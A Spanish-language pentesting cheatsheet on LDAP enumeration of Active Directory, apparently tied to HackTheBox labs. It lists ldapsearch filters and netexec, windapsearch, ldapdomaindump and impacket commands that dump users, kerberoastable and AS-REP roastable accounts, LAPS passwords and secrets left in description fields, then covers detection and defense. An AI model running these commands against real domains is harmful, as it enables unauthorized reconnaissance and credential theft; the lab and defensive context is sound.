LDAP Enumeration
Arsenal completo de comandos en la cheatsheetLa enumeración por LDAP consulta el servicio de directorio de Active Directory (puertos 389/636) para dibujar el dominio entero: usuarios, grupos, equipos, descripciones, SPNs y ACLs. Muchas veces se puede hacer con una sesión anónima o con cualquier credencial de dominio, sin privilegios.
Por qué funciona. Active Directory ES una base de datos LDAP: todo objeto (cuenta, grupo, GPO) vive en el árbol con sus atributos. Por diseño, un usuario autenticado puede leer casi todo el directorio, y algunos entornos permiten el anonymous bind. Los administradores además dejan datos sensibles en campos legibles: la contraseña temporal en el atributo description, cuentas de servicio con SPN (kerberoasteables) o el flag DONT_REQUIRE_PREAUTH (AS-REP roasteables).
El abuso. Se pregunta al directorio por lo que interesa y se filtra por atributos concretos.
Comprobar el bind y el naming context
ldapsearch -x -H ldap://<ip> -s base namingContexts # bind anonimo: sacar el DN base
ldapsearch -x -H ldap://<ip> -b "DC=<domain>,DC=local" # volcar todo (si el anonimo lee)
ldapsearch -x -H ldap://<ip> -D "<user>@<domain>" -w '<pass>' -b "DC=<domain>,DC=local" # autenticadoConsultas útiles por objetivo
Cada línea es un filtro LDAP distinto según lo que se busque (usuarios, contraseñas en description, kerberoasteables, AS-REP roasteables, admins, delegación, LAPS):
ldapsearch ... "(objectClass=user)" sAMAccountName description
ldapsearch ... "(&(objectClass=user)(description=*))" sAMAccountName description # secretos en description
ldapsearch ... "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName # kerberoast
ldapsearch ... "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName # AS-REP (no preauth)
ldapsearch ... "(&(objectClass=user)(adminCount=1))" sAMAccountName # cuentas protegidas (admins)
ldapsearch ... "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName # trusted for delegation
ldapsearch ... "(objectClass=computer)" dNSHostName operatingSystem # equipos y su SO
ldapsearch ... "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd sAMAccountName # LAPS (si tenemos permiso de lectura)Herramientas de volcado
netexec ldap <ip> -u <user> -p <pass> --users --groups
netexec ldap <ip> -u <user> -p <pass> --kerberoasting kb.txt --asreproast asrep.txt
windapsearch.py --dc-ip <ip> -u <user>@<domain> -p <pass> --da # domain admins
ldapdomaindump -u '<domain>\<user>' -p '<pass>' <ip> -o loot # HTML navegable
GetADUsers.py -all <domain>/<user>:<pass> -dc-ip <ip> # impacketRequisitos. Alcance a LDAP/LDAPS y, o bien un anonymous bind permitido, o bien una credencial de dominio cualquiera. Sin ninguna de las dos, el bind falla y no se lee nada.
Cómo detectarlo. El patrón es un volumen alto de consultas LDAP desde un solo host, binds anónimos y búsquedas con filtros amplios (objectClass=*, servicePrincipalName=*). Los eventos 1644 de diagnóstico de LDAP y las firmas de herramientas (windapsearch, BloodHound) delatan la recolección masiva; un pico de lecturas al atributo description de muchas cuentas también es sospechoso.
Defensa. Deshabilitar el anonymous bind, no guardar contraseñas en description, aplicar mínimo privilegio sobre atributos sensibles y monitorizar la recolección masiva. Es el paso previo a BloodHound, al Password Spraying y al RID cycling; distinta de la inyección LDAP en aplicaciones web.
Máquinas donde se aplica
- CascadeHackTheBox